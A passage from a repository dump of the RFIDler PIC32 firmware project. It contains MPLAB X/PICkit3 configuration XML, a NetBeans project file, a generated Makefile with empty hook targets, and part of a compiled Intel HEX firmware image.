</linkerTool>\n        <archiverTool>\n        </archiverTool>\n        <loading>\n          <useAlternateLoadableFile>false</useAlternateLoadableFile>\n          <parseOnProdLoad>false</parseOnProdLoad>\n          <alternateLoadableFile></alternateLoadableFile>\n        </loading>\n      </compileType>\n      <makeCustomizationType>\n        <makeCustomizationPreStepEnabled>false</makeCustomizationPreStepEnabled>\n        <makeCustomizationPreStep></makeCustomizationPreStep>\n        <makeCustomizationPostStepEnabled>false</makeCustomizationPostStepEnabled>\n        <makeCustomizationPostStep></makeCustomizationPostStep>\n        <makeCustomizationPutChecksumInUserID>false</makeCustomizationPutChecksumInUserID>\n        <makeCustomizationEnableLongLines>false</makeCustomizationEnableLongLines>\n        <makeCustomizationNormalizeHexFile>false</makeCustomizationNormalizeHexFile>\n      </makeCustomizationType>\n      <PICkit3PlatformTool>\n        <property key=\"ADC 1\" value=\"true\"/>\n        <property key=\"AutoSelectMemRanges\" value=\"auto\"/>\n        <property key=\"CAN1\" value=\"true\"/>\n        <property key=\"CAN2\" value=\"true\"/>\n        <property key=\"CHANGE NOTICE\" value=\"true\"/>\n        <property key=\"COMPARATOR\" value=\"true\"/>\n        <property key=\"DMA\" value=\"true\"/>\n        <property key=\"ETHERNET CONTROLLER\" value=\"true\"/>\n        <property key=\"Freeze All Other Peripherals\" value=\"true\"/>\n        <property key=\"I2C1\" value=\"true\"/>\n        <property key=\"I2C2\" value=\"true\"/>\n        <property key=\"I2C3\" value=\"true\"/>\n        <property key=\"I2C4\" value=\"true\"/>\n        <property key=\"I2C5\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 1\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 2\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 3\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 4\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 5\" value=\"true\"/>\n        <property key=\"INTERRUPT CONTROL\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 1\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 2\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 3\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 4\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 5\" value=\"true\"/>\n        <property key=\"PARALLEL MASTER/SLAVE PORT\" value=\"true\"/>\n        <property key=\"REAL TIME CLOCK\" value=\"true\"/>\n        <property key=\"SPI 1\" value=\"true\"/>\n        <property key=\"SPI 2\" value=\"true\"/>\n        <property key=\"SPI 3\" value=\"true\"/>\n        <property key=\"SPI 4\" value=\"true\"/>\n        <property key=\"SecureSegment.SegmentProgramming\" value=\"FullChipProgramming\"/>\n        <property key=\"TIMER1\" value=\"true\"/>\n        <property key=\"TIMER2\" value=\"true\"/>\n        <property key=\"TIMER3\" value=\"true\"/>\n        <property key=\"TIMER4\" value=\"true\"/>\n        <property key=\"TIMER5\" value=\"true\"/>\n        <property key=\"ToolFirmwareFilePath\"\n                  value=\"Press to browse for a specific firmware version\"/>\n        <property key=\"ToolFirmwareOption.UseLatestFirmware\" value=\"true\"/>\n        <property key=\"UART1\" value=\"true\"/>\n        <property key=\"UART2\" value=\"true\"/>\n        <property key=\"UART3\" value=\"true\"/>\n        <property key=\"UART4\" value=\"true\"/>\n        <property key=\"UART5\" value=\"true\"/>\n        <property key=\"UART6\" value=\"true\"/>\n        <property key=\"hwtoolclock.frcindebug\" value=\"false\"/>\n        <property key=\"memories.aux\" value=\"false\"/>\n        <property key=\"memories.bootflash\" value=\"true\"/>\n        <property key=\"memories.configurationmemory\" value=\"true\"/>\n        <property key=\"memories.dataflash\" value=\"true\"/>\n        <property key=\"memories.eeprom\" value=\"true\"/>\n        <property key=\"memories.flashdata\" value=\"true\"/>\n        <property key=\"memories.id\" value=\"true\"/>\n        <property key=\"memories.programmemory\" value=\"true\"/>\n        <property key=\"memories.programmemory.end\" value=\"0x1d07ffff\"/>\n        <property key=\"memories.programmemory.start\" value=\"0x1d000000\"/>\n        <property key=\"memories.userotp\" value=\"false\"/>\n        <property key=\"poweroptions.powerenable\" value=\"false\"/>\n        <property key=\"programmertogo.imagename\" value=\"\"/>\n        <property key=\"programoptions.donoteraseauxmem\" value=\"false\"/>\n        <property key=\"programoptions.eraseb4program\" value=\"true\"/>\n        <property key=\"programoptions.pgmspeed\" value=\"2\"/>\n        <property key=\"programoptions.preserveeeprom\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange.end\" value=\"0x1d07ffff\"/>\n        <property key=\"programoptions.preserveprogramrange.start\" value=\"0x1d000000\"/>\n        <property key=\"programoptions.preserveuserid\" value=\"false\"/>\n        <property key=\"programoptions.programcalmem\" value=\"false\"/>\n        <property key=\"programoptions.testmodeentrymethod\" value=\"VPPFirst\"/>\n        <property key=\"programoptions.usehighvoltageonmclr\" value=\"false\"/>\n        <property key=\"programoptions.uselvpprogramming\" value=\"false\"/>\n        <property key=\"voltagevalue\" value=\"3.25\"/>\n      </PICkit3PlatformTool>\n    </conf>\n  </confs>\n</configurationDescriptor>\n"
  },
  {
    "path": "firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/project.properties",
    "content": ""
  },
  {
    "path": "firmware/Pic32/HIDBoot_MX795_Hex_Load.X/nbproject/project.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://www.netbeans.org/ns/project/1\">\n    <type>com.microchip.mplab.nbide.embedded.makeproject</type>\n    <configuration>\n        <data xmlns=\"http://www.netbeans.org/ns/make-project/1\">\n            <name>HIDBoot_MX795_Hex_Load</name>\n            <creation-uuid>535318eb-1289-45dc-9001-2dc0cd0664e7</creation-uuid>\n            <make-project-type>0</make-project-type>\n            <c-extensions/>\n            <cpp-extensions/>\n            <header-extensions/>\n            <sourceEncoding>ISO-8859-1</sourceEncoding>\n            <asminc-extensions/>\n            <make-dep-projects/>\n        </data>\n    </configuration>\n</project>\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/Makefile",
    "content": "#\n#  There exist several targets which are by default empty and which can be \n#  used for execution of your targets. These targets are usually executed \n#  before and after some main targets. They are: \n#\n#     .build-pre:              called before 'build' target\n#     .build-post:             called after 'build' target\n#     .clean-pre:              called before 'clean' target\n#     .clean-post:             called after 'clean' target\n#     .clobber-pre:            called before 'clobber' target\n#     .clobber-post:           called after 'clobber' target\n#     .all-pre:                called before 'all' target\n#     .all-post:               called after 'all' target\n#     .help-pre:               called before 'help' target\n#     .help-post:              called after 'help' target\n#\n#  Targets beginning with '.' are not intended to be called on their own.\n#\n#  Main targets can be executed directly, and they are:\n#  \n#     build                    build a specific configuration\n#     clean                    remove built files from a configuration\n#     clobber                  remove all built files\n#     all                      build all configurations\n#     help                     print help mesage\n#  \n#  Targets .build-impl, .clean-impl, .clobber-impl, .all-impl, and\n#  .help-impl are implemented in nbproject/makefile-impl.mk.\n#\n#  Available make variables:\n#\n#     CND_BASEDIR                base directory for relative paths\n#     CND_DISTDIR                default top distribution directory (build artifacts)\n#     CND_BUILDDIR               default top build directory (object files, ...)\n#     CONF                       name of current configuration\n#     CND_ARTIFACT_DIR_${CONF}   directory of build artifact (current configuration)\n#     CND_ARTIFACT_NAME_${CONF}  name of build artifact (current configuration)\n#     CND_ARTIFACT_PATH_${CONF}  path to build artifact (current configuration)\n#     CND_PACKAGE_DIR_${CONF}    directory of package (current configuration)\n#     CND_PACKAGE_NAME_${CONF}   name of package (current configuration)\n#     CND_PACKAGE_PATH_${CONF}   path to package (current configuration)\n#\n# NOCDDL\n\n\n# Environment \nMKDIR=mkdir\nCP=cp\nCCADMIN=CCadmin\nRANLIB=ranlib\n\n\n# build\nbuild: .build-post\n\n.build-pre:\n# Add your pre 'build' code here...\n\n.build-post: .build-impl\n# Add your post 'build' code here...\n\n\n# clean\nclean: .clean-post\n\n.clean-pre:\n# Add your pre 'clean' code here...\n\n.clean-post: .clean-impl\n# Add your post 'clean' code here...\n\n\n# clobber\nclobber: .clobber-post\n\n.clobber-pre:\n# Add your pre 'clobber' code here...\n\n.clobber-post: .clobber-impl\n# Add your post 'clobber' code here...\n\n\n# all\nall: .all-post\n\n.all-pre:\n# Add your pre 'all' code here...\n\n.all-post: .all-impl\n# Add your post 'all' code here...\n\n\n# help\nhelp: .help-post\n\n.help-pre:\n# Add your pre 'help' code here...\n\n.help-post: .help-impl\n# Add your post 'help' code here...\n\n\n\n# include project implementation makefile\ninclude nbproject/Makefile-impl.mk\n\n# include project make variables\ninclude nbproject/Makefile-variables.mk\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex",
    "content": ":020000040000fa\n:020000041fc01b\n:042ffc00ffffff6e66\n:020000040000fa\n:020000041d00dd\n:106000000218400f0000000000601a40c0045a7fd0\n:106010000500401300000000059d1a3ce45e5a276d\n:10602000080040030000000000a01d3cf87ebd27d2\n:1060300001a01c3c00809c270260094020582001e0\n:10604000801e2a7d8449497d02608940c00000008d\n:1060500000e0dc4102608b40c0000000059d083c70\n:10606000c45f082509f800010000000000a0083cfa\n:106070003c00082500a0093cf06a29250600001014\n:1060800000000000000000ad040000ad080000adfd\n:106090000c0000ad100008252b080901f9ff2014a1\n:1060a00000000000049d083cd46708250000098d0d\n:1060b000180020110400082500000a8d040008259e\n:1060c00000000b8d090060110400082500000c91f0\n:1060d000ffff4a250100082500002ca1fbff401509\n:1060e000010029250500001000000000000020a18b\n:1060f000ffff4a25fdff4015010029250300082563\n:10610000fcff0a24244048010000098de7ff201508\n:10611000000000000000093c0000292510002011ab\n:10612000000000000000093c007f292588bf0a3cd0\n:1061300010204a25000049ad0000093c007f2925b8\n:1061400088bf0a3c20204a25000049ad0000093cd8\n:10615000007f292588bf0a3c30204a25000049ad30\n:1061600000488040ffff0a2400588a40009d093cf7\n:1061700000502925017889400000093c01002925ab\n:1061800000000a2444492a7d01608a408000093cbd\n:1061900000688940008008408005097d404c090066\n:1061a000006008405800013c2440010125402801be\n:1061b00000608840c0000000059d083ccc5f0825b9\n:1061c00009f800010000000000600840bfff013c2a\n:1061d000ffff21342440010100608840000084302a\n:1061e0000000a530059d083c245608250800000144\n:0461f00000000000ab\n:020000040000fa\n:020000041d00dd\n:10638000059d1a3cb8575a2708004003000000003a\n:020000040000fa\n:020000041d00dd\n:10518000059d1a3cf8405a27080040030000000023\n:020000040000fa\n:020000041d00dd\n:085200001256410b00000000f2\n:020000040000fa\n:020000041d00dd\n:085220001256410b00000000d2\n:020000040000fa\n:020000041d00dd\n:085240001256410b00000000b2\n:020000040000fa\n:020000041d00dd\n:085260001256410b0000000092\n:020000040000fa\n:020000041d00dd\n:08528000fc1d410b00000000c1\n:020000040000fa\n:020000041d00dd\n:0852a0001256410b0000000052\n:020000040000fa\n:020000041d00dd\n:0852c0001256410b0000000032\n:020000040000fa\n:020000041d00dd\n:0852e0001256410b0000000012\n:020000040000fa\n:020000041d00dd\n:085300001256410b00000000f1\n:020000040000fa\n:020000041d00dd\n:085320001256410b00000000d1\n:020000040000fa\n:020000041d00dd\n:085340001256410b00000000b1\n:020000040000fa\n:020000041d00dd\n:085360001256410b0000000091\n:020000040000fa\n:020000041d00dd\n:085380009bf1400b000000004e\n:020000040000fa\n:020000041d00dd\n:0853a0001256410b0000000051\n:020000040000fa\n:020000041d00dd\n:0853c0001256410b0000000031\n:020000040000fa\n:020000041d00dd\n:0853e0001256410b0000000011\n:020000040000fa\n:020000041d00dd\n:08540000dcf2400b000000008b\n:020000040000fa\n:020000041d00dd\n:085420001256410b00000000d0\n:020000040000fa\n:020000041d00dd\n:085440001256410b00000000b0\n:020000040000fa\n:020000041d00dd\n:085460001256410b0000000090\n:020000040000fa\n:020000041d00dd\n:085480001256410b0000000070\n:020000040000fa\n:020000041d00dd\n:0854a0001256410b0000000050\n:020000040000fa\n:020000041d00dd\n:0854c000b3f0400b00000000f6\n:020000040000fa\n:020000041d00dd\n:0854e0001256410b0000000010\n:020000040000fa\n:020000041d00dd\n:085500001256410b00000000ef\n:020000040000fa\n:020000041d00dd\n:085520001256410b00000000cf\n:020000040000fa\n:020000041d00dd\n:085540001256410b00000000af\n:020000040000fa\n:020000041d00dd\n:085560001256410b000000008f\n:020000040000fa\n:020000041d00dd\n:085580001256410b000000006f\n:020000040000fa\n:020000041d00dd\n:0855a0001256410b000000004f\n:020000040000fa\n:020000041d00dd\n:0855c0001256410b000000002f\n:020000040000fa\n:020000041d00dd\n:0855e0001256410b000000000f\n:020000040000fa\n:020000041d00dd\n:085600001256410b00000000ee\n:020000040000fa\n:020000041d00dd\n:085620001256410b00000000ce\n:020000040000fa\n:020000041d00dd\n:085640001256410b00000000ae\n:020000040000fa\n:020000041d00dd\n:085660001256410b000000008e\n:020000040000fa\n:020000041d00dd\n:085680001256410b000000006e\n:020000040000fa\n:020000041d00dd\n:0856a0001256410b000000004e\n:020000040000fa\n:020000041d00dd\n:0856c0001256410b000000002e\n:020000040000fa\n:020000041d00dd\n:0856e0001256410b000000000e\n:020000040000fa\n:020000041d00dd\n:085700001256410b00000000ed\n:020000040000fa\n:020000041d00dd\n:085720001256410b00000000cd\n:020000040000fa\n:020000041d00dd\n:085740001256410b00000000ad\n:020000040000fa\n:020000041d00dd\n:085760001256410b000000008d\n:020000040000fa\n:020000041d00dd\n:085780001256410b000000006d\n:020000040000fa\n:020000041d00dd\n:0857a000cc9f400b000000004b\n:020000040000fa\n:020000041d00dd\n:0857c0001256410b000000002d\n:020000040000fa\n:020000041d00dd\n:0857e0001256410b000000000d\n:020000040000fa\n:020000041d00dd\n:085800001256410b00000000ec\n:020000040000fa\n:020000041d00dd\n:085820001256410b00000000cc\n:020000040000fa\n:020000041d00dd\n:085840001256410b00000000ac\n:020000040000fa\n:020000041d00dd\n:085860001256410b000000008c\n:020000040000fa\n:020000041fc01b\n:1004800000f89b40c0000000059d1b3c1c597b27c9\n:10049000020060130000000000c09b4000f81b40f9\n:0c04a000c00000001f000042000000002f\n:020000040000fa\n:020000041d00dd\n:106e0000e0ffbd271c00bfaf1800beaf21f0a003fc\n:106e10001000c0af8f1b400b000000001000c38f9c\n:106e20001c8182272110620001000324000043a07e\n:106e30001000c28f010042241000c2af1000c28fa8\n:106e400003004228f5ff401400000000468080a3a4\n:106e50003c8080a3ffff0224048082afffff022456\n:106e6000088082af20d5400f0000000000a0023c47\n:106e700058104424a223400f0000000034004014a6\n:106e8000000000000c80828f00a0033c5810632497\n:106e9000000043ac0c80828f0c0040a40c80828fd9\n:106ea0000e0040a40c80828f100040ac0c80828fba\n:106eb000140040ac0c80828f5c000324200043a0af\n:106ec000010002241000c2afbc1b400b00000000f8\n:106ed0000c80838f1000c28f2110620020000324d9\n:106ee000200043a01000c28f010042241000c2af56\n:106ef0001000c28f0b004228f5ff40140000000074\n:106f00000c80828f360040a40c80828f10000324f6\n:106f10003a0043a40c80828f2881838f3c0043accd\n:106f20000c80828f2881838f400043ac0c80828f3d\n:106f3000010003242c0043ac0c80828f340040a459\n:106f4000388180a301000224d51b400b0000000003\n:106f50002110000021e8c0031c00bf8f1800be8f65\n:106f60002000bd270800e0030000000068ffbd27e7\n:106f70009400bfaf9000beaf8c00b0af21f0a00373\n:106f80009800c4af9c00c5af2118c0002110e000dc\n:106f9000a000c3a3a400c2a39800c28f36004294ed\n:106fa0004c00c2a70b0002241000c2af00a0023c9c\n:106fb000440642243c00c2af9c00c28f3000428c89\n:106fc0004000c2af1a00c0a71c00c0a72000c0a785\n:106fd0002400c0af3000c0af3800c0a34400c0a33d\n:106fe0009c00c28f34004294148182a7148182973e\n:106ff000240040100000000014818497c44e023c1d\n:107000004fec423419008200101000008228020068\n:107010002118a000801003002118400080100300f8\n:10702000231043002110450023108200ffff42304f\n:107030004400c2a314818397c44e023c4fec4234f7\n:10704000190062001010000082100200ffff4230a1\n:107050001600c2a34400c2930500401400000000c3\n:10706000148182970d00422c0400401000000000a3\n:107070001600c293010042241600c2a31600c29358\n:107080003800c2a39800c28f3c00438c9800c28f86\n:10709000400043ac9c00c28f3a004294271002008b\n:1070a0004600c2a74c00c2970d004014000000002b\n:1070b0004c00c2279800c48f2128400001000624fc\n:1070c000e72f400f000000001300401400000000f4\n:1070d0001b0002241000c2af461c400b0000000041\n:1070e0004c00c2970f0042300b004010000000001f\n:1070f0004c00c2279800c48f2128400001000624bc\n:10710000e72f400f000000000300401400000000c3\n:107110001b0002241000c2af1000c38f1b0002240a\n:1071200055066210000000001000c28f11004010d0\n:10713000000000002800c0af2c00c0af5000c327e3\n:107140004c00c2279800c48f2128600021304000e5\n:107150003839400f000000004800c2a34800c39324\n:107160000200022405006214000000009e22400b71\n:10717000000000009e22400b000000004800c29367\n:1071800030064014000000005b00c3930f0002248f\n:107190001c006210000000002400c0af5000c39328\n:1071a0003c00c28f000043a01600c0a3791c400b16\n:1071b000000000001600c293010042243c00c38f6f\n:1071c000211062001600c3931000c4272118830009\n:1071d00041006390000043a01600c29301004224c6\n:1071e0001600c2a31600c2930a00422cf1ff4014fd\n:1071f00000000000010002242800c2af291e400b3d\n:10720000000000005000c29340004230f8004010df\n:10721000000000005000c2931f0042304900c2a38a\n:10722000a400c2931500401400000000148182974e\n:1072300005004010000000004900c3933800c293cd\n:107240000800621400000000148182970b004014b3\n:10725000000000004900c3930100022407006210ef\n:10726000000000004c00c29701004224ffff4230a2\n:107270004c00c2a79c22400b000000005000c293ab\n:10728000bf004230ffff4230211840002110600053\n:107290008010020080200200231082002110430091\n:1072a000ffff4230ffff4224ffff42301a00c2a717\n:1072b0001a00c2971800c2a71a00c287ffff432412\n:1072c0001a00c3a7212040006e00c39700a0023c13\n:1072d000402004004406422421108200000043a400\n:1072e0001a00c287ffff43241a00c3a721204000d1\n:1072f0006c00c39700a0023c4020040044064224d6\n:1073000021108200000043a41a00c287ffff43241b\n:107310001a00c3a7212040006800c39700a0023cc8\n:10732000402004004406422421108200000043a4af\n:107330001a00c287ffff43241a00c3a72120400080\n:107340006600c39700a0023c40200400440642248b\n:1073500021108200000043a41a00c287ffff4324cb\n:107360001a00c3a7212040006400c39700a0023c7c\n:10737000402004004406422421108200000043a45f\n:107380001a00c287ffff43241a00c3a72120400030\n:107390006200c39700a0023c40200400440642243f\n:1073a00021108200000043a41a00c287ffff43247b\n:1073b0001a00c3a7212040006000c39700a0023c30\n:1073c000402004004406422421108200000043a40f\n:1073d0001a00c287ffff43241a00c3a721204000e0\n:1073e0005e00c39700a0023c4020040044064224f3\n:1073f00021108200000043a45900c2937000c2a370\n:107400005a00c2937100c2a31a00c287ffff43242f\n:107410001a00c3a7212040007000c39700a0023cbf\n:10742000402004004406422421108200000043a4ae\n:107430005700c2937000c2a35800c2937100c2a348\n:107440001a00c287ffff43241a00c3a7212040006f\n:107450007000c39700a0023c402004004406422470\n:1074600021108200000043a45500c2937000c2a303\n:107470005600c2937100c2a31a00c287ffff4324c3\n:107480001a00c3a7212040007000c39700a0023c4f\n:10749000402004004406422421108200000043a43e\n:1074a0005300c2937000c2a35400c2937100c2a3e0\n:1074b0001a00c287ffff43241a00c3a721204000ff\n:1074c0007000c39700a0023c402004004406422400\n:1074d00021108200000043a45100c2937000c2a397\n:1074e0005200c2937100c2a31a00c287ffff432457\n:1074f0001a00c3a7212040007000c39700a0023cdf\n:10750000402004004406422421108200000043a4cd\n:107510001800c29701004224ffff42302000c2a79a\n:10752000010002241600c2a35f1d400b00000000f2\n:107530001a00c3871600c2932118620000a0023c03\n:1075400040180300440642242110620000004294c7\n:1075500007004014000000001600c293ffff4330f4\n:107560001a00c29721106200ffff42302000c2a71c\n:107570001600c293010042241600c2a31600c29353\n:107580000e00422ceaff401400000000a400c29349\n:107590000f00401400000000148182972118400061\n:1075a0002000c2870a006210000000001481829748\n:1075b00007004010000000004c00c2970100422468\n:1075c000ffff42304c00c2a79c22400b000000008d\n:1075d0002000c297ffff4224ffff42301c00c2a7d9\n:1075e000010002242400c2af1e1e400b0000000058\n:1075f0002400c38f010002249900621400000000df\n:107600001a00c287ffff43241a00c3a721204000ad\n:107610006e00c39700a0023c4020040044064224b0\n:1076200021108200000043a41a00c287ffff4324f8\n:107630001a00c3a7212040006c00c39700a0023ca1\n:10764000402004004406422421108200000043a48c\n:107650001a00c287ffff43241a00c3a7212040005d\n:107660006800c39700a0023c402004004406422466\n:1076700021108200000043a41a00c287ffff4324a8\n:107680001a00c3a7212040006600c39700a0023c57\n:10769000402004004406422421108200000043a43c\n:1076a0001a00c287ffff43241a00c3a7212040000d\n:1076b0006400c39700a0023c40200400440642241a\n:1076c00021108200000043a41a00c287ffff432458\n:1076d0001a00c3a7212040006200c39700a0023c0b\n:1076e000402004004406422421108200000043a4ec\n:1076f0001a00c287ffff43241a00c3a721204000bd\n:107700006000c39700a0023c4020040044064224cd\n:1077100021108200000043a41a00c287ffff432407\n:107720001a00c3a7212040005e00c39700a0023cbe\n:10773000402004004406422421108200000043a49b\n:107740005900c2937000c2a35a00c2937100c2a331\n:107750001a00c287ffff43241a00c3a7212040005c\n:107760007000c39700a0023c40200400440642245d\n:1077700021108200000043a45700c2937000c2a3ee\n:107780005800c2937100c2a31a00c287ffff4324ae\n:107790001a00c3a7212040007000c39700a0023c3c\n:1077a000402004004406422421108200000043a42b\n:1077b0005500c2937000c2a35600c2937100c2a3c9\n:1077c0001a00c287ffff43241a00c3a721204000ec\n:1077d0007000c39700a0023c4020040044064224ed\n:1077e00021108200000043a45300c2937000c2a382\n:1077f0005400c2937100c2a31a00c287ffff432442\n:107800001a00c3a7212040007000c39700a0023ccb\n:10781000402004004406422421108200000043a4ba\n:107820005100c2937000c2a35200c2937100c2a360\n:107830001a00c287ffff43241a00c3a7212040007b\n:107840007000c39700a0023c40200400440642247c\n:1078500021108200000043a41e1e400b0000000007\n:107860004c00c29701004224ffff42304c00c2a7e7\n:107870009c22400b000000001a00c287070040183d\n:10788000000000004c00c29701004224ffff42307c\n:107890004c00c2a79c22400b000000000100022403\n:1078a0002c00c2af2400c0af1000c0afa400c29330\n:1078b0000600401000000000010003247d01431079\n:1078c000000000004d22400b000000001600c0a385\n:1078d000421e400b000000001600c2931600c39326\n:1078e0003c00c48f2118830000006390201c037c9f\n:1078f0001000c42721108200640043a01600c29328\n:10790000010042241600c2a31600c2930b00422cb1\n:10791000f1ff4014000000003c00c28f0800422428\n:107920000000439020000224570062100000000075\n:107930001600c0a35b1e400b000000001600c2939f\n:107940003c00c38f211062000000439020000224fd\n:1079500003006214000000005f1e400b00000000e6\n:107960001600c293010042241600c2a31600c2935f\n:107970000800422cf1ff4014000000001600c293e2\n:10798000010043241600c3a31000c3272110620086\n:107990002e000324640043a01600c2930100432478\n:1079a0001600c3a33c00c38f08006324000063904b\n:1079b000201c037c1000c42721108200640043a017\n:1079c0003c00c28f090042240000439020000224a2\n:1079d0000d006210000000001600c2930100432455\n:1079e0001600c3a33c00c38f09006324000063900a\n:1079f000201c037c1000c42721108200640043a0d7\n:107a0000881e400b000000001600c29301004324b2\n:107a10001600c3a31000c32721106200640040a019\n:107a20003c00c28f0a004224000043902000022440\n:107a30000d006210000000001600c29301004324f4\n:107a40001600c3a33c00c38f0a00632400006390a8\n:107a5000201c037c1000c42721108200640043a076\n:107a6000b51e400b000000001600c2930100432425\n:107a70001600c3a31000c32721106200640040a0b9\n:107a8000b51e400b000000001600c0a3b11e400b45\n:107a9000000000001600c2931000c32721106200ee\n:107aa00064004380200002240300621400000000f0\n:107ab000b51e400b000000001600c29301004224d6\n:107ac0001600c2a31600c2930800422cf1ff401416\n:107ad000000000001600c2931000c32721106200ae\n:107ae000640040a0148182978c00401000000000c8\n:107af0002c00c28f4a004010000000001800c0a7f0\n:107b0000ff1e400b000000009c00c28f2c00428c26\n:107b100026004010000000001800c287401002003c\n:107b20004000c38f21106200000042941400c2a3e1\n:107b30001800c38700a0023c4018030044064224fa\n:107b400021106200000042941500c2a31800c387f0\n:107b500000a0023c401803004406422421106200a9\n:107b6000000042940001422c0c0040100000000074\n:107b70001400c293212040006157410f0000000013\n:107b8000218040001500c293212040006157410f21\n:107b90000000000016000212000000000b0002248a\n:107ba0001000c2af061f400b000000001800c28783\n:107bb000401002004000c38f211062000000439477\n:107bc0001800c48700a0023c402004004406422460\n:107bd00021108200000042940500621000000000a5\n:107be0000b0002241000c2af061f400b0000000073\n:107bf0001800c287010042241800c2a71800c387da\n:107c0000148182972a106200bfff40140000000018\n:107c1000ab1f400b00000000ab1f400b000000003a\n:107c20002800c28f39004010000000009c00c28f65\n:107c30002c00428c35004010000000007400c22768\n:107c400021204000a34a410f0000000021184000fd\n:107c50001481829705006210000000000b000224ce\n:107c60001000c2af401f400b000000001800c0a76a\n:107c70003b1f400b000000001800c28740100200ac\n:107c80004000c38f21106200000042941400c2a380\n:107c90001800c2871000c3272110620064004280d0\n:107ca0001500c2a31400c293212040006157410f68\n:107cb00000000000218040001500c29321204000f8\n:107cc0006157410f00000000050002120000000093\n:107cd0000b0002241000c2af401f400b0000000048\n:107ce0001800c287010042241800c2a71800c387e9\n:107cf000148182972a106200dfff40140000000008\n:107d000000000000ab1f400b000000000b0002242d\n:107d10001000c2afab1f400b000000002c00c28f50\n:107d20003f004010000000007400c22721204000e6\n:107d3000a34a410f00000000211840002000c28724\n:107d400005006210000000000b0002241000c2af0a\n:107d5000ab1f400b000000001800c0a7811f400ba4\n:107d6000000000001800c38700a0023c4018030078\n:107d70004406422421106200000042941400c2a371\n:107d80001800c2871000c3272110620064004280df\n:107d90001500c2a31800c38700a0023c40180300ce\n:107da0004406422421106200000042940001422c4b\n:107db0000c004010000000001400c293212040007d\n:107dc0006157410f00000000218040001500c29360\n:107dd000212040006157410f000000000600021200\n:107de000000000000b0002241000c2af00000000e1\n:107df000ab1f400b000000001800c28701004224a6\n:107e00001800c2a71800c3872000c2872a1062008a\n:107e1000d4ff401400000000ab1f400b0000000026\n:107e20001600c0a3a71f400b000000001600c2935d\n:107e30003c00c38f21106200000042901400c2a3d6\n:107e40001600c2939c00c38f211062002000428064\n:107e50001500c2a31400c293212040006157410fb6\n:107e600000000000218040001500c2932120400046\n:107e70006157410f000000000500021200000000e1\n:107e80000b0002241000c2afab1f400b000000002b\n:107e90001600c293010042241600c2a31600c2932a\n:107ea0000b00422ce1ff4014000000004d22400b6b\n:107eb00000000000148182978a0140100000000039\n:107ec0003000c0af2c00c28f220040100000000024\n:107ed0001c00c2971e00c2a7cb1f400b0000000071\n:107ee0001e00c38700a0023c401803004406422441\n:107ef00021106200000043942e0002240800621446\n:107f000000000000010002243000c2af1e00c28742\n:107f1000ffff42241e00c2a7ce1f400b000000003e\n:107f20001e00c287ffff42241e00c2a71e00c28798\n:107f3000ebff401c000000003000c28f0f00401417\n:107f4000000000001c00c2971e00c2a7df1f400bec\n:107f5000000000003c00c28f080042240000439053\n:107f6000200002240300621000000000010002242f\n:107f70003000c2af070002241e00c2a714818297fe\n:107f8000ffff4224ffff42301a00c2a73400c0aff7\n:107f9000f81f400b000000001a00c28740100200ca\n:107fa0004000c38f21106200000043942e00022481\n:107fb0000800621400000000010002243400c2af77\n:107fc0001a00c287ffff42241a00c2a7fb1f400b02\n:107fd000000000001a00c287ffff42241a00c2a757\n:107fe0001a00c287ecff401c000000003400c28f62\n:107ff000050040140000000014818297ffff422416\n:10800000ffff42301a00c2a71800c0a71800c2879d\n:10801000401002004000c38f211062000000439412\n:108020002a00022403006214000000007d20400b9f\n:10803000000000001800c3871e00c2872a104300fa\n:1080400005004010000000000b0002241000c2af29\n:108050007d20400b000000001800c2874010020085\n:108060004000c38f21106200000043943f000224af\n:108070004b006210000000009c00c28f2c00428c5c\n:1080800033004010000000001800c28740100200ba\n:108090004000c38f21106200000042941400c2a36c\n:1080a0002c00c28f0a004010000000001800c38797\n:1080b00000a0023c40180300440642242110620044\n:1080c000000042941500c2a33920400b00000000bc\n:1080d0001800c2873c00c38f21106200000042904c\n:1080e0001500c2a32c00c28f0a004010000000003f\n:1080f0001800c38700a0023c401803004406422435\n:1081000021106200000042940001422c0c0040103b\n:10811000000000001400c293212040006157410f6d\n:1081200000000000218040001500c2932120400083\n:108130006157410f0000000019000212000000000a\n:108140000b0002241000c2af7d20400b0000000095\n:108150001800c287401002004000c38f2110620047\n:10816000000043941800c48700a0023c4020040093\n:10817000440642242110820000004294040062144c\n:10818000000000002800c28f050040100000000021\n:108190000b0002241000c2af7d20400b0000000045\n:1081a0001800c287010042241800c2a71800c38724\n:1081b0001a00c2872a1043000c0040100000000083\n:1081c0001800c3871e00c2872a1043000500401410\n:1081d000000000000b0002241000c2af7d20400b05\n:1081e000000000007d20400b000000000320400b39\n:1081f000000000003400c28f0b004014000000009b\n:108200003000c38f0100022405006214000000004a\n:108210000b0002241000c2af4d22400b00000000f2\n:108220004d22400b000000003000c28f05004014ba\n:10823000000000000b0002241000c2af4d22400bd2\n:10824000000000002c00c28f07004010000000005a\n:108250001e00c29702004224ffff42301e00c2a748\n:108260009c20400b00000000080002241e00c2a752\n:108270001a00c29702004224ffff42301800c2a732\n:108280001800c287401002004000c38f2110620016\n:10829000000043942a00022403006214000000003e\n:1082a0003721400b000000002c00c28f0600401058\n:1082b000000000001e00c3871c00c2872a10430074\n:1082c00008004014000000002800c28f0900401080\n:1082d000000000001e00c3870b000224050062148a\n:1082e000000000000b0002241000c2af3721400b39\n:1082f000000000001800c287401002004000c38f39\n:1083000021106200000043943f0002244b006210e1\n:10831000000000009c00c28f2c00428c33004010f3\n:10832000000000001800c287401002004000c38f08\n:1083300021106200000042941400c2a32c00c28fde\n:108340000a004010000000001e00c38700a0023c8d\n:1083500040180300440642242110620000004294a9\n:108360001500c2a3e020400b000000001e00c287e1\n